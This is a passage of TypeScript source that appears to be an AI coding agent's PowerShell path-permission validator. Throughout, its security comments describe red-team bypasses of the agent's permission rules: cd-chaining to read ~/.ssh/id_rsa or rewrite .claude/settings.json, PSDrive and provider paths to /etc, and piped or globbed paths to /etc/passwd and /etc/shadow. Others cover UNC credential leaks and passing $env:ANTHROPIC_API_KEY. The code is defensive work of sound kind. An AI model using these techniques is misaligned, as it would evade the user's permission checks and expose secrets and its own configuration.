    const denyHit = checkDenyRuleForGuessedPath(
      backtickStripped,
      cwd,
      toolPermissionContext,
      operationType,
    )
    if (denyHit) {
      return {
        allowed: false,
        resolvedPath: denyHit.resolvedPath,
        decisionReason: { type: 'rule', rule: denyHit.rule },
      }
    }
    return {
      allowed: false,
      resolvedPath: normalizedPath,
      decisionReason: {
        type: 'other',
        reason:
          'Backtick escape characters in paths cannot be statically validated and require manual approval',
      },
    }
  }

  // SECURITY: Block module-qualified provider paths. PowerShell allows
  // `Microsoft.PowerShell.Core\FileSystem::/etc/passwd` which resolves to
  // `/etc/passwd` via the FileSystem provider. The `::` is the provider
  // path separator and doesn't match the simple `^[a-z]{2,}:` regex.
  if (normalizedPath.includes('::')) {
    // Strip everything up to and including the first :: β€” handles both
    // FileSystem::/path and Microsoft.PowerShell.Core\FileSystem::/path.
    // Double-:: (Foo::Bar::/x) strips first only β†’ 'Bar::/x' β†’ resolve
    // makes it {cwd}/Bar::/x β†’ won't match real deny rules β†’ falls to ask.
    // Safe.
    const afterProvider = normalizedPath.slice(normalizedPath.indexOf('::') + 2)
    const denyHit = checkDenyRuleForGuessedPath(
      afterProvider,
      cwd,
      toolPermissionContext,
      operationType,
    )
    if (denyHit) {
      return {
        allowed: false,
        resolvedPath: denyHit.resolvedPath,
        decisionReason: { type: 'rule', rule: denyHit.rule },
      }
    }
    return {
      allowed: false,
      resolvedPath: normalizedPath,
      decisionReason: {
        type: 'other',
        reason:
          'Module-qualified provider paths (::) cannot be statically validated and require manual approval',
      },
    }
  }

  // SECURITY: Block UNC paths β€” they can trigger network requests and
  // leak NTLM/Kerberos credentials
  if (
    normalizedPath.startsWith('//') ||
    /DavWWWRoot/i.test(normalizedPath) ||
    /@SSL@/i.test(normalizedPath)
  ) {
    return {
      allowed: false,
      resolvedPath: normalizedPath,
      decisionReason: {
        type: 'other',
        reason:
          'UNC paths are blocked because they can trigger network requests and credential leakage',
      },
    }
  }

  // SECURITY: Reject paths containing shell expansion syntax
  if (normalizedPath.includes('$') || normalizedPath.includes('%')) {
    return {
      allowed: false,
      resolvedPath: normalizedPath,
      decisionReason: {
        type: 'other',
        reason: 'Variable expansion syntax in paths requires manual approval',
      },
    }
  }

  // SECURITY: Block non-filesystem provider paths (env:, HKLM:, alias:, function:, etc.)
  // These paths access non-filesystem resources and must require manual approval.
  // This catches colon-syntax like -Path:env:HOME where the extracted value is 'env:HOME'.
  //
  // Platform split (findings #21/#28):
  // - Windows: require 2+ letters before ':' so native drive letters (C:, D:)
  //   pass through to path.win32.isAbsolute/resolve which handle them correctly.
  // - POSIX: ANY <letters>: prefix is a PowerShell PSDrive β€” single-letter drive
  //   paths have no native meaning on Linux/macOS. `New-PSDrive -Name Z -Root /etc`
  //   then `Get-Content Z:/secrets` would otherwise resolve via
  //   path.posix.resolve(cwd, 'Z:/secrets') β†’ '{cwd}/Z:/secrets' β†’ inside cwd β†’
  //   allowed, bypassing Read(/etc/**) deny rules. We cannot statically know what
  //   filesystem root a PSDrive maps to, so treat all drive-prefixed paths on
  //   POSIX as unvalidatable.
  // Include digits in PSDrive name (bug #23): `New-PSDrive -Name 1 ...`
  // creates drive `1:` β€” a valid PSDrive path prefix.
  // Windows regex requires 2+ chars to exclude single-letter native drive letters
  // (C:, D:). Use a single character class [a-z0-9] to catch mixed alphanumeric
  // PSDrive names like `a1:`, `1a:` β€” the previous alternation `[a-z]{2,}|[0-9]+`
  // missed those since `a1` is neither pure letters nor pure digits.
  const providerPathRegex =
    getPlatform() === 'windows' ? /^[a-z0-9]{2,}:/i : /^[a-z0-9]+:/i
  if (providerPathRegex.test(normalizedPath)) {
    return {
      allowed: false,
      resolvedPath: normalizedPath,
      decisionReason: {
        type: 'other',
        reason: `Path '${normalizedPath}' uses a non-filesystem provider and requires manual approval`,
      },
    }
  }

  // SECURITY: Block glob patterns in write/create operations
  if (GLOB_PATTERN_REGEX.test(normalizedPath)) {
    if (operationType === 'write' || operationType === 'create') {
      return {
        allowed: false,
        resolvedPath: normalizedPath,
        decisionReason: {
          type: 'other',
          reason:
            'Glob patterns are not allowed in write operations. Please specify an exact file path.',
        },
      }
    }

    // For read operations with path traversal (e.g., /project/*/../../../etc/shadow),
    // resolve the full path (including glob chars) and validate that resolved path.
    // This catches patterns that escape the working directory via `..` after the glob.
    if (containsPathTraversal(normalizedPath)) {
      const absolutePath = isAbsolute(normalizedPath)
        ? normalizedPath
        : resolve(cwd, normalizedPath)
      const { resolvedPath, isCanonical } = safeResolvePath(
        getFsImplementation(),
        absolutePath,
      )
      const result = isPathAllowed(
        resolvedPath,
        toolPermissionContext,
        operationType,
        isCanonical ? [resolvedPath] : undefined,
      )
      return {
        allowed: result.allowed,
        resolvedPath,
        decisionReason: result.decisionReason,
      }
    }

    // SECURITY (finding #15): Glob patterns for read operations cannot be
    // statically validated. getGlobBaseDirectory returns the directory before
    // the first glob char; only that base is realpathed. Anything matched by
    // the glob (including symlinks) is never examined. Example:
    //   /project/*/passwd with symlink /project/link β†’ /etc
    // Base dir is /project (allowed), but runtime expands * to 'link' and
    // reads /etc/passwd. We cannot validate symlinks inside glob expansion
    // without actually expanding the glob (requires filesystem access and
    // still races with attacker creating symlinks post-validation).
    //
    // Still check deny rules on the base directory so explicit Read(/project/**)
    // deny rules fire. If no deny matches, force ask.
    const basePath = getGlobBaseDirectory(normalizedPath)
    const absoluteBasePath = isAbsolute(basePath)
      ? basePath
      : resolve(cwd, basePath)
    const { resolvedPath } = safeResolvePath(
      getFsImplementation(),
      absoluteBasePath,
    )
    const permissionType = operationType === 'read' ? 'read' : 'edit'
    const denyRule = matchingRuleForInput(
      resolvedPath,
      toolPermissionContext,
      permissionType,
      'deny',
    )
    if (denyRule !== null) {
      return {
        allowed: false,
        resolvedPath,
        decisionReason: { type: 'rule', rule: denyRule },
      }
    }
    return {
      allowed: false,
      resolvedPath,
      decisionReason: {
        type: 'other',
        reason:
          'Glob patterns in paths cannot be statically validated β€” symlinks inside the glob expansion are not examined. Requires manual approval.',
      },
    }
  }

  // Resolve path
  const absolutePath = isAbsolute(normalizedPath)
    ? normalizedPath
    : resolve(cwd, normalizedPath)
  const { resolvedPath, isCanonical } = safeResolvePath(
    getFsImplementation(),
    absolutePath,
  )

  const result = isPathAllowed(
    resolvedPath,
    toolPermissionContext,
    operationType,
    isCanonical ? [resolvedPath] : undefined,
  )
  return {
    allowed: result.allowed,
    resolvedPath,
    decisionReason: result.decisionReason,
  }
}

function getGlobBaseDirectory(filePath: string): string {
  const globMatch = filePath.match(GLOB_PATTERN_REGEX)
  if (!globMatch || globMatch.index === undefined) {
    return filePath
  }
  const beforeGlob = filePath.substring(0, globMatch.index)
  const lastSepIndex = Math.max(
    beforeGlob.lastIndexOf('/'),
    beforeGlob.lastIndexOf('\\'),
  )
  if (lastSepIndex === -1) return '.'
  return beforeGlob.substring(0, lastSepIndex + 1) || '/'
}

/**
 * Element types that are safe to extract as literal path strings.
 *
 * Only element types with statically-known string values are safe for path
 * extraction. Variable and ExpandableString have runtime-determined values β€”
 * even though they're defended downstream ($ detection in validatePath's
 * `includes('$')` check, and the hasExpandableStrings security flag), excluding
 * them here is defense-in-direct: fail-safe at the earliest gate rather than
 * relying on downstream checks to catch them.
 *
 * Any other type (e.g., 'Other' for ArrayLiteralExpressionAst, 'SubExpression',
 * 'ScriptBlock', 'Variable', 'ExpandableString') cannot be statically validated
 * and must force an ask.
 */
const SAFE_PATH_ELEMENT_TYPES = new Set<string>(['StringConstant', 'Parameter'])

/**
 * Extract file paths from a parsed PowerShell command element.
 * Uses the AST args to find positional and named path parameters.
 *
 * If any path argument has a complex elementType (e.g., array literal,
 * subexpression) that cannot be statically validated, sets
 * hasUnvalidatablePathArg so the caller can force an ask.
 */
function extractPathsFromCommand(cmd: ParsedCommandElement): {
  paths: string[]
  operationType: FileOperationType
  hasUnvalidatablePathArg: boolean
  optionalWrite: boolean
} {
  const canonical = resolveToCanonical(cmd.name)
  const config = CMDLET_PATH_CONFIG[canonical]

  if (!config) {
    return {
      paths: [],
      operationType: 'read',
      hasUnvalidatablePathArg: false,
      optionalWrite: false,
    }
  }

  // Build per-cmdlet known-param sets, merging in common parameters.
  const switchParams = [...config.knownSwitches, ...COMMON_SWITCHES]
  const valueParams = [...config.knownValueParams, ...COMMON_VALUE_PARAMS]

  const paths: string[] = []
  const args = cmd.args
  // elementTypes[0] is the command name; elementTypes[i+1] corresponds to args[i]
  const elementTypes = cmd.elementTypes
  let hasUnvalidatablePathArg = false
  let positionalsSeen = 0
  const positionalSkip = config.positionalSkip ?? 0

  function checkArgElementType(argIdx: number): void {
    if (!elementTypes) return
    const et = elementTypes[argIdx + 1]
    if (et && !SAFE_PATH_ELEMENT_TYPES.has(et)) {
      hasUnvalidatablePathArg = true
    }
  }

  // Extract named parameter values (e.g., -Path "C:\foo")
  for (let i = 0; i < args.length; i++) {
    const arg = args[i]
    if (!arg) continue

    // Check if this arg is a parameter name.
    // SECURITY: Use elementTypes as ground truth. PowerShell's tokenizer
    // accepts en-dash/em-dash/horizontal-bar (U+2013/2014/2015) as parameter
    // prefixes; a raw startsWith('-') check misses `–Path` (en-dash). The
    // parser maps CommandParameterAst β†’ 'Parameter' regardless of dash char.
    // isPowerShellParameter also correctly rejects quoted "-Include"
    // (StringConstant, not a parameter).
    const argElementType = elementTypes ? elementTypes[i + 1] : undefined
    if (isPowerShellParameter(arg, argElementType)) {
      // Handle colon syntax: -Path:C:\secret
      // Normalize Unicode dash to ASCII `-` (pathParams are stored with `-`).
      const normalized = '-' + arg.slice(1)
      const colonIdx = normalized.indexOf(':', 1) // skip first char (the dash)
      const paramName =
        colonIdx > 0 ? normalized.substring(0, colonIdx) : normalized
      const paramLower = paramName.toLowerCase()

      if (matchesParam(paramLower, config.pathParams)) {
        // Known path parameter β€” extract its value as a path.
        let value: string | undefined
        if (colonIdx > 0) {
          // Colon syntax: -Path:value β€” the whole thing is one element.
          // SECURITY: comma-separated values (e.g., -Path:safe.txt,/etc/passwd)
          // produce ArrayLiteralExpressionAst inside the CommandParameterAst.
          // PowerShell writes to ALL paths, but we see a single string.
          const rawValue = arg.substring(colonIdx + 1)
          if (hasComplexColonValue(rawValue)) {
            hasUnvalidatablePathArg = true
          } else {
            value = rawValue
          }
        } else {
          // Standard syntax: -Path value
          const nextVal = args[i + 1]
          const nextType = elementTypes ? elementTypes[i + 2] : undefined
          if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
            value = nextVal
            checkArgElementType(i + 1)
            i++ // Skip the value
          }
        }
        if (value) {
          paths.push(value)
        }
      } else if (
        config.leafOnlyPathParams &&
        matchesParam(paramLower, config.leafOnlyPathParams)
      ) {
        // Leaf-only path parameter (e.g., New-Item -Name). PowerShell resolves
        // this relative to ANOTHER parameter (-Path), not cwd. validatePath
        // resolves against cwd (L930), so non-leaf values (separators,
        // traversal) resolve to the WRONG location and can miss deny rules
        // (deny→ask downgrade). Extract simple leaf filenames; flag anything
        // path-like.
        let value: string | undefined
        if (colonIdx > 0) {
          const rawValue = arg.substring(colonIdx + 1)
          if (hasComplexColonValue(rawValue)) {
            hasUnvalidatablePathArg = true
          } else {
            value = rawValue
          }
        } else {
          const nextVal = args[i + 1]
          const nextType = elementTypes ? elementTypes[i + 2] : undefined
          if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
            value = nextVal
            checkArgElementType(i + 1)
            i++
          }
        }
        if (value !== undefined) {
          if (
            value.includes('/') ||
            value.includes('\\') ||
            value === '.' ||
            value === '..'
          ) {
            // Non-leaf: separators or traversal. Can't resolve correctly
            // without joining against -Path. Force ask.
            hasUnvalidatablePathArg = true
          } else {
            // Simple leaf: extract. Resolves to cwd/leaf (slightly wrong β€”
            // should be <-Path>/leaf) but -Path extraction covers the
            // directory, and a leaf filename can't traverse out of anywhere.
            paths.push(value)
          }
        }
      } else if (matchesParam(paramLower, switchParams)) {
        // Known switch parameter β€” takes no value, do NOT consume next arg.
        // (Colon syntax on a switch, e.g., -Confirm:$false, is self-contained
        // in one token and correctly falls through here without consuming.)
      } else if (matchesParam(paramLower, valueParams)) {
        // Known value-taking non-path parameter (e.g., -Encoding UTF8, -Filter *.txt).
        // Consume its value; do NOT validate as path, but DO check elementType.
        // SECURITY: A Variable elementType (e.g., $env:ANTHROPIC_API_KEY) in any
        // argument position means the runtime value is not statically knowable.
        // Without this check, `-Value $env:SECRET` would be silently auto-allowed
        // in acceptEdits mode because the Variable elementType was never examined.
        if (colonIdx > 0) {
          // Colon syntax: -Value:$env:FOO β€” the value is embedded in the token.
          // The outer CommandParameterAst 'Parameter' type masks the inner
          // expression type. Check for expression markers that indicate a
          // non-static value (mirrors pathParams colon-syntax guards).
          const rawValue = arg.substring(colonIdx + 1)
          if (hasComplexColonValue(rawValue)) {
            hasUnvalidatablePathArg = true
          }
        } else {
          const nextArg = args[i + 1]
          const nextArgType = elementTypes ? elementTypes[i + 2] : undefined
          if (nextArg && !isPowerShellParameter(nextArg, nextArgType)) {
            checkArgElementType(i + 1)
            i++ // Skip the parameter's value
          }
        }
      } else {
        // Unknown parameter β€” we do not understand this invocation.
        // SECURITY: This is the structural fix for the KNOWN_SWITCH_PARAMS
        // whack-a-mole. Rather than guess whether this param is a switch
        // (and risk swallowing a positional path) or takes a value (and
        // risk the same), we flag the whole command as unvalidatable.
        // The caller will force an ask.
        hasUnvalidatablePathArg = true
        // SECURITY: Even though we don't recognize this param, if it uses
        // colon syntax (-UnknownParam:/etc/hosts) the bound value might be
        // a filesystem path. Extract it into paths[] so deny-rule matching
        // still runs. Without this, the value is trapped inside the single
        // token and paths=[] means deny rules are never consulted β€”
        // downgrading deny to ask. This is defense-in-depth: the primary
        // fix is adding all known aliases to pathParams above.
        if (colonIdx > 0) {
          const rawValue = arg.substring(colonIdx + 1)
          if (!hasComplexColonValue(rawValue)) {
            paths.push(rawValue)
          }
        }
        // Continue the loop so we still extract any recognizable paths
        // (useful for the ask message), but the flag ensures overall 'ask'.
      }
      continue
    }

    // Positional arguments: extract as paths (e.g., Get-Content file.txt)
    // The first positional arg is typically the source path.
    // Skip leading positionals that are non-path values (e.g., iwr's -Uri).
    if (positionalsSeen < positionalSkip) {
      positionalsSeen++
      continue
    }
    positionalsSeen++
    checkArgElementType(i)
    paths.push(arg)
  }

  return {
    paths,
    operationType: config.operationType,
    hasUnvalidatablePathArg,
    optionalWrite: config.optionalWrite ?? false,
  }
}

/**
 * Checks path constraints for PowerShell commands.
 * Extracts file paths from the parsed AST and validates they are
 * within allowed directories.
 *
 * @param compoundCommandHasCd - Whether the full compound command contains a
 *   cwd-changing cmdlet (Set-Location/Push-Location/Pop-Location/New-PSDrive,
 *   excluding no-op Set-Location-to-CWD). When true, relative paths in ANY
 *   statement cannot be trusted β€” PowerShell executes statements sequentially
 *   and a cd in statement N changes the cwd for statement N+1, but this
 *   validator resolves all paths against the stale Node process cwd.
 *   BashTool parity (BashTool/pathValidation.ts:630-655).
 *
 * @returns
 * - 'ask' if any path command tries to access outside allowed directories
 * - 'deny' if a deny rule explicitly blocks the path
 * - 'passthrough' if no path commands were found or all paths are valid
 */
export function checkPathConstraints(
  input: { command: string },
  parsed: ParsedPowerShellCommand,
  toolPermissionContext: ToolPermissionContext,
  compoundCommandHasCd = false,
): PermissionResult {
  if (!parsed.valid) {
    return {
      behavior: 'passthrough',
      message: 'Cannot validate paths for unparsed command',
    }
  }

  // SECURITY: Two-pass approach β€” check ALL statements/paths so deny rules
  // always take precedence over ask. Without this, an ask on statement 1
  // could return before checking statement 2 for deny rules, letting the
  // user approve a command that includes a denied path.
  let firstAsk: PermissionResult | undefined

  for (const statement of parsed.statements) {
    const result = checkPathConstraintsForStatement(
      statement,
      toolPermissionContext,
      compoundCommandHasCd,
    )
    if (result.behavior === 'deny') {
      return result
    }
    if (result.behavior === 'ask' && !firstAsk) {
      firstAsk = result
    }
  }

  return (
    firstAsk ?? {
      behavior: 'passthrough',
      message: 'All path constraints validated successfully',
    }
  )
}

function checkPathConstraintsForStatement(
  statement: ParsedPowerShellCommand['statements'][number],
  toolPermissionContext: ToolPermissionContext,
  compoundCommandHasCd = false,
): PermissionResult {
  const cwd = getCwd()
  let firstAsk: PermissionResult | undefined

  // SECURITY: BashTool parity β€” block path operations in compound commands
  // containing a cwd-changing cmdlet (BashTool/pathValidation.ts:630-655).
  //
  // When the compound contains Set-Location/Push-Location/Pop-Location/
  // New-PSDrive, relative paths in later statements resolve against the
  // CHANGED cwd at runtime, but this validator resolves them against the
  // STALE getCwd() snapshot. Example attack (finding #3):
  //   Set-Location ./.claude; Set-Content ./settings.json '...'
  // Validator sees ./settings.json β†’ /project/settings.json (not a config file).
  // Runtime writes /project/.claude/settings.json (Claude's permission config).
  //
  // ALTERNATIVE APPROACH (rejected): simulate cwd through the statement chain
  // β€” after `Set-Location ./.claude`, validate subsequent statements with
  // cwd='./.claude'. This would be more permissive but requires careful
  // handling of:
  //   - Push-Location/Pop-Location stack semantics
  //   - Set-Location with no args (β†’ home on some platforms)
  //   - New-PSDrive root mapping (arbitrary filesystem root)
  //   - Conditional/loop statements where cd may or may not execute
  //   - Error cases where the cd target can't be statically determined
  // For now we take the conservative approach of requiring manual approval.
  //
  // Unlike BashTool which gates on `operationType !== 'read'`, we also block
  // READS (finding #27): `Set-Location ~; Get-Content ./.ssh/id_rsa` bypasses
  // Read(~/.ssh/**) deny rules because the validator matched the deny against
  // /project/.ssh/id_rsa. Reads from mis-resolved paths leak data just as
  // writes destroy it. We still run deny-rule matching below (via firstAsk,
  // not early return) so explicit deny rules on the stale-resolved path are
  // honored β€” deny > ask in the caller's reduce.
  if (compoundCommandHasCd) {
    firstAsk = {
      behavior: 'ask',
      message:
        'Compound command changes working directory (Set-Location/Push-Location/Pop-Location/New-PSDrive) β€” relative paths cannot be validated against the original cwd and require manual approval',
      decisionReason: {
        type: 'other',
        reason:
          'Compound command contains cd with path operation β€” manual approval required to prevent path resolution bypass',
      },
    }
  }

  // SECURITY: Track whether this statement contains a non-CommandAst pipeline
  // element (string literal, variable, array expression). PowerShell pipes
  // these values to downstream cmdlets, often binding to -Path. Example:
  // `'/etc/passwd' | Remove-Item` β€” the string is piped to Remove-Item's -Path,
  // but Remove-Item has no explicit args so extractPathsFromCommand returns
  // zero paths and the command would passthrough. If ANY downstream cmdlet
  // appears alongside an expression source, we force an ask β€” the piped
  // path is unvalidatable regardless of operation type (reads leak data;
  // writes destroy it).
  let hasExpressionPipelineSource = false
  // Track the non-CommandAst element's text for deny-rule guessing (finding #23).
  // `'.git/hooks/pre-commit' | Remove-Item` β€” path comes via pipeline, paths=[]
  // from extractPathsFromCommand, so the deny loop below never iterates. We
  // feed the pipeline-source text through checkDenyRuleForGuessedPath so
  // explicit Edit(.git/**) deny rules still fire.
  let pipelineSourceText: string | undefined

  for (const cmd of statement.commands) {
    if (cmd.elementType !== 'CommandAst') {
      hasExpressionPipelineSource = true
      pipelineSourceText = cmd.text
      continue
    }

    const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
      extractPathsFromCommand(cmd)

    // SECURITY: Cmdlet receiving piped path from expression source.
    // `'/etc/shadow' | Get-Content` β€” Get-Content extracts zero paths
    // (no explicit args). The path comes from the pipeline, which we cannot
    // statically validate. Previously exempted reads (`operationType !== 'read'`),
    // but that was a bypass (review comment 2885739292): reads from
    // unvalidatable paths are still a security risk. Ask regardless of op type.
    if (hasExpressionPipelineSource) {
      const canonical = resolveToCanonical(cmd.name)
      // SECURITY (finding #23): Before falling back to ask, check if the
      // pipeline-source text matches a deny rule. `'.git/hooks/pre-commit' |
      // Remove-Item` should DENY (not ask) when Edit(.git/**) is configured.
      // Strip surrounding quotes (string literals are quoted in .text) and
      // feed through the same deny-guess helper used for ::/backtick paths.
      if (pipelineSourceText !== undefined) {
        const stripped = pipelineSourceText.replace(/^['"]|['"]$/g, '')
        const denyHit = checkDenyRuleForGuessedPath(
          stripped,
          cwd,
          toolPermissionContext,
          operationType,
        )
        if (denyHit) {
          return {
            behavior: 'deny',
            message: `${canonical} targeting '${denyHit.resolvedPath}' was blocked by a deny rule`,
            decisionReason: { type: 'rule', rule: denyHit.rule },
          }
        }
      }
      firstAsk ??= {
        behavior: 'ask',
        message: `${canonical} receives its path from a pipeline expression source that cannot be statically validated and requires manual approval`,
      }
      // Don't continue β€” fall through to path loop so deny rules on
      // extracted paths are still checked.
    }

    // SECURITY: Array literals, subexpressions, and other complex
    // argument types cannot be statically validated. An array literal
    // like `-Path ./safe.txt, /etc/passwd` produces a single 'Other'
    // element whose combined text may resolve within CWD while
    // PowerShell actually writes to ALL paths in the array.
    if (hasUnvalidatablePathArg) {
      const canonical = resolveToCanonical(cmd.name)
      firstAsk ??= {
        behavior: 'ask',
        message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
      }
      // Don't continue β€” fall through to path loop so deny rules on
      // extracted paths are still checked.
    }

    // SECURITY: Write cmdlet in CMDLET_PATH_CONFIG that extracted zero paths.
    // Either (a) the cmdlet has no args at all (`Remove-Item` alone β€”
    // PowerShell will error, but we shouldn't optimistically assume that), or
    // (b) we failed to recognize the path among the args (shouldn't happen
    // with the unknown-param fail-safe, but defense-in-depth). Conservative:
    // write operation with no validated target β†’ ask.
    // Read cmdlets and pop-location (pathParams: []) are exempt.
    // optionalWrite cmdlets (Invoke-WebRequest/Invoke-RestMethod without
    // -OutFile) are ALSO exempt β€” they only write to disk when a pathParam is
    // present; without one, output goes to the pipeline. The
    // hasUnvalidatablePathArg check above already covers unknown-param cases.
    if (
      operationType !== 'read' &&
      !optionalWrite &&
      paths.length === 0 &&
      CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
    ) {
      const canonical = resolveToCanonical(cmd.name)
      firstAsk ??= {
        behavior: 'ask',
        message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
      }
      continue
    }

    // SECURITY: bash-parity hard-deny for removal cmdlets on
    // system-critical paths. BashTool has isDangerousRemovalPath which
    // hard-DENIES `rm /`, `rm ~`, `rm /etc`, etc. regardless of user config.
    // Port: remove-item (and aliases rm/del/ri/rd/rmdir/erase β†’ resolveToCanonical)
    // on a dangerous path β†’ deny (not ask). User cannot approve system32 deletion.
    const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'

    for (const filePath of paths) {
      // Hard-deny removal of dangerous system paths (/, ~, /etc, etc.).
      // Check the RAW path (pre-realpath) first: safeResolvePath can
      // canonicalize '/' β†’ 'C:\' (Windows) or '/var/...' β†’ '/private/var/...'
      // (macOS) which defeats isDangerousRemovalPath's string comparisons.
      if (isRemoval && isDangerousRemovalRawPath(filePath)) {
        return dangerousRemovalDeny(filePath)
      }

      const { allowed, resolvedPath, decisionReason } = validatePath(
        filePath,
        cwd,
        toolPermissionContext,
        operationType,
      )

      // Also check the resolved path β€” catches symlinks that resolve to a
      // protected location.
      if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
        return dangerousRemovalDeny(resolvedPath)
      }

      if (!allowed) {
        const canonical = resolveToCanonical(cmd.name)
        const workingDirs = Array.from(
          allWorkingDirectories(toolPermissionContext),
        )
        const dirListStr = formatDirectoryList(workingDirs)

        const message =
          decisionReason?.type === 'other' ||
          decisionReason?.type === 'safetyCheck'
            ? decisionReason.reason
            : `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`

        if (decisionReason?.type === 'rule') {
          return {
            behavior: 'deny',
            message,
            decisionReason,
          }
        }

        const suggestions: PermissionUpdate[] = []
        if (resolvedPath) {
          if (operationType === 'read') {
            const suggestion = createReadRuleSuggestion(
              getDirectoryForPath(resolvedPath),
              'session',
            )
            if (suggestion) {
              suggestions.push(suggestion)
            }
          } else {
            suggestions.push({
              type: 'addDirectories',
              directories: [getDirectoryForPath(resolvedPath)],
              destination: 'session',
            })
          }
        }

        if (operationType === 'write' || operationType === 'create') {
          suggestions.push({
            type: 'setMode',
            mode: 'acceptEdits',
            destination: 'session',
          })
        }

        firstAsk ??= {
          behavior: 'ask',
          message,
          blockedPath: resolvedPath,
          decisionReason,
          suggestions,
        }
      }
    }
  }

  // Also check nested commands from control flow
  if (statement.nestedCommands) {
    for (const cmd of statement.nestedCommands) {
      const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
        extractPathsFromCommand(cmd)

      if (hasUnvalidatablePathArg) {
        const canonical = resolveToCanonical(cmd.name)
        firstAsk ??= {
          behavior: 'ask',
          message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
        }
        // Don't continue β€” fall through to path loop for deny checks.
      }

      // SECURITY: Write cmdlet with zero extracted paths (mirrors main loop).
      // optionalWrite cmdlets exempt β€” see main-loop comment.
      if (
        operationType !== 'read' &&
        !optionalWrite &&
        paths.length === 0 &&
        CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
      ) {
        const canonical = resolveToCanonical(cmd.name)
        firstAsk ??= {
          behavior: 'ask',
          message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
        }
        continue
      }

      // SECURITY: bash-parity hard-deny for removal on system-critical
      // paths β€” mirror the main-loop check above. Without this,
      // `if ($true) { Remove-Item / }` routes through nestedCommands and
      // downgrades deny→ask, letting the user approve root deletion.
      const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'

      for (const filePath of paths) {
        // Check the RAW path first (pre-realpath); see main-loop comment.
        if (isRemoval && isDangerousRemovalRawPath(filePath)) {
          return dangerousRemovalDeny(filePath)
        }

        const { allowed, resolvedPath, decisionReason } = validatePath(
          filePath,
          cwd,
          toolPermissionContext,
          operationType,
        )

        if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
          return dangerousRemovalDeny(resolvedPath)
        }

        if (!allowed) {
          const canonical = resolveToCanonical(cmd.name)
          const workingDirs = Array.from(
            allWorkingDirectories(toolPermissionContext),
          )
          const dirListStr = formatDirectoryList(workingDirs)

          const message =
            decisionReason?.type === 'other' ||
            decisionReason?.type === 'safetyCheck'
              ? decisionReason.reason
              : `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`

          if (decisionReason?.type === 'rule') {
            return {
              behavior: 'deny',
              message,
              decisionReason,
            }
          }

          const suggestions: PermissionUpdate[] = []
          if (resolvedPath) {
            if (operationType === 'read') {
              const suggestion = createReadRuleSuggestion(
                getDirectoryForPath(resolvedPath),
                'session',
              )
              if (suggestion) {
                suggestions.push(suggestion)
              }
            } else {
              suggestions.push({
                type: 'addDirectories',
                directories: [getDirectoryForPath(resolvedPath)],
                destination: 'session',
              })
            }
          }

          if (operationType === 'write' || operationType === 'create') {
            suggestions.push({
              type: 'setMode',
              mode: 'acceptEdits',
              destination: 'session',
            })
          }

          firstAsk ??= {
            behavior: 'ask',
            message,
            blockedPath: resolvedPath,
            decisionReason,
            suggestions,
          }
        }
      }

      // Red-team P11/P14: step 5 at powershellPermissions.ts:970 already
      // catches this via the same synthetic-CommandExpressionAst mechanism β€”
      // this is belt-and-suspenders so the nested loop doesn't rely on that
      // accident. Placed AFTER the path loop so specific asks (blockedPath,
      // suggestions) win via ??=.
      if (hasExpressionPipelineSource) {
        firstAsk ??= {
          behavior: 'ask',
          message: `${resolveToCanonical(cmd.name)} appears inside a control-flow or chain statement where piped expression sources cannot be statically validated and requires manual approval`,
        }
      }
    }
  }

  // Check redirections on nested commands (e.g., from && / || chains)
  if (statement.nestedCommands) {
    for (const cmd of statement.nestedCommands) {
      if (cmd.redirections) {
        for (const redir of cmd.redirections) {
          if (redir.isMerging) continue
          if (!redir.target) continue
          if (isNullRedirectionTarget(redir.target)) continue

          const { allowed, resolvedPath, decisionReason } = validatePath(
            redir.target,
            cwd,
            toolPermissionContext,
            'create',
          )

          if (!allowed) {
            const workingDirs = Array.from(
              allWorkingDirectories(toolPermissionContext),
            )
            const dirListStr = formatDirectoryList(workingDirs)

            const message =
              decisionReason?.type === 'other' ||
              decisionReason?.type === 'safetyCheck'
                ? decisionReason.reason
                : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`

            if (decisionReason?.type === 'rule') {
              return {
                behavior: 'deny',
                message,
                decisionReason,
              }
            }

            firstAsk ??= {
              behavior: 'ask',
              message,
              blockedPath: resolvedPath,
              decisionReason,
              suggestions: [
                {
                  type: 'addDirectories',
                  directories: [getDirectoryForPath(resolvedPath)],
                  destination: 'session',
                },
              ],
            }
          }
        }
      }
    }
  }

  // Check file redirections
  if (statement.redirections) {
    for (const redir of statement.redirections) {
      if (redir.isMerging) continue
      if (!redir.target) continue
      if (isNullRedirectionTarget(redir.target)) continue

      const { allowed, resolvedPath, decisionReason } = validatePath(
        redir.target,
        cwd,
        toolPermissionContext,
        'create',
      )

      if (!allowed) {
        const workingDirs = Array.from(
          allWorkingDirectories(toolPermissionContext),
        )
        const dirListStr = formatDirectoryList(workingDirs)

        const message =
          decisionReason?.type === 'other' ||
          decisionReason?.type === 'safetyCheck'
            ? decisionReason.reason
            : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`

        if (decisionReason?.type === 'rule') {
          return {
            behavior: 'deny',
            message,
            decisionReason,
          }
        }

        firstAsk ??= {
          behavior: 'ask',
          message,
          blockedPath: resolvedPath,
          decisionReason,
          suggestions: [
            {
              type: 'addDirectories',
              directories: [getDirectoryForPath(resolvedPath)],
              destination: 'session',
            },
          ],
        }
      }
    }
  }

  return (
    firstAsk ?? {
      behavior: 'passthrough',
      message: 'All path constraints validated successfully',
    }
  )
}